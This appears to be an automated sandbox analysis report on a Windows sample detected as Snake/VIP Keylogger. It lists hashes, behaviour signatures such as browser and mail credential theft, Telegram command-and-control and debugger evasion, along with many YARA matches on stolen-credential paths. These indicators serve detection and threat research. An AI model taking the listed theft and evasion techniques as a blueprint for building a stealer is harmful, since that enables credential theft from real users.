Edit tour

Windows Analysis Report
173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Overview

General Information

Sample name:	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Analysis ID:	1553323
MD5:	c0dc27117e14576d09eeb3f5285890fd
SHA1:	a635782cc229cc9d78ad2ca07232bc8a9d1e35ea
SHA256:	e15f96a8007148677667e284c9047ac9928f979cdf06d371b776816df51ee480
Tags:	base64-decodedexeuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe (PID: 7288 cmdline: "C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe" MD5: C0DC27117E14576D09EEB3F5285890FD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x358b2:$a1: get_encryptedPassword 0x35886:$a2: get_encryptedUsername 0x3594a:$a3: get_timePasswordChanged 0x35862:$a4: get_passwordField 0x358c8:$a5: set_encryptedPassword 0x35695:$a7: get_logins 0x30f25:$a10: KeyLoggerEventArgs 0x30ef4:$a11: KeyLoggerEventArgsEventHandler 0x35769:$a13: _encryptedPassword
00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x766f8:$a1: get_encryptedPassword 0x766cc:$a2: get_encryptedUsername 0x76790:$a3: get_timePasswordChanged 0x766a8:$a4: get_passwordField 0x7670e:$a5: set_encryptedPassword 0x764db:$a7: get_logins 0x71d6b:$a10: KeyLoggerEventArgs 0x71d3a:$a11: KeyLoggerEventArgsEventHandler 0x765af:$a13: _encryptedPassword
00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe PID: 7288	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x88935:$a1: get_encryptedPassword 0xcc323:$a1: get_encryptedPassword 0x1842c1:$a1: get_encryptedPassword 0x195ba8:$a1: get_encryptedPassword 0x88909:$a2: get_encryptedUsername 0xcc2f7:$a2: get_encryptedUsername 0x184295:$a2: get_encryptedUsername 0x195b7c:$a2: get_encryptedUsername 0x889cd:$a3: get_timePasswordChanged 0xcc3bb:$a3: get_timePasswordChanged 0x184359:$a3: get_timePasswordChanged 0x195c40:$a3: get_timePasswordChanged 0x888e5:$a4: get_passwordField 0xcc2d3:$a4: get_passwordField 0x184271:$a4: get_passwordField 0x195b58:$a4: get_passwordField 0x8894b:$a5: set_encryptedPassword 0xcc339:$a5: set_encryptedPassword 0x1842d7:$a5: set_encryptedPassword 0x195bbe:$a5: set_encryptedPassword 0x88721:$a7: get_logins
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.0.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 10 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33f3a:$a1: get_encryptedPassword 0x33f0e:$a2: get_encryptedUsername 0x33fd2:$a3: get_timePasswordChanged 0x33eea:$a4: get_passwordField 0x33f50:$a5: set_encryptedPassword 0x33d1d:$a7: get_logins 0x2f5ad:$a10: KeyLoggerEventArgs 0x2f57c:$a11: KeyLoggerEventArgsEventHandler 0x33df1:$a13: _encryptedPassword
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
